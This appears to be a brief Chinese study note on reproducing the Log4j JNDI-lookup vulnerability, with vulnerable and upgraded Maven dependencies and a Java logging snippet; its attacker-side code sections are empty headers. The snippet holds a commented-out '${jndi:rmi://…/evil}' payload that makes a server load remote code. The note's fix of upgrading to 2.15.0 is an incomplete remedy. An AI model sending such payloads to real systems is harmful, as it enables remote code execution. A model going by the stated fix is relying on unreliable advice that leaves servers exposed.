一、Log4j

二、漏洞复现

2.1 log4j版本

		<dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>

2.2 log服务段代码

	private static final Logger LOGGER = LogManager.getLogger();
    public static void main(String[] args) {
        //String username = "${jndi:rmi://192.168.65.31:1099/evil}";
        String username1 = "123456";
        String username2 = "${java:os}"; // 输出操作系统有关信息，lookup的功能
        LOGGER.info("hello,{}!",username2);
    }

2.3 黑客端代码

2.4 执行端代码

是在log服务端代码执行的，bug严重

三、解决方案

3.1 升级log4j版本

		<dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.15.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.15.0</version>
        </dependency>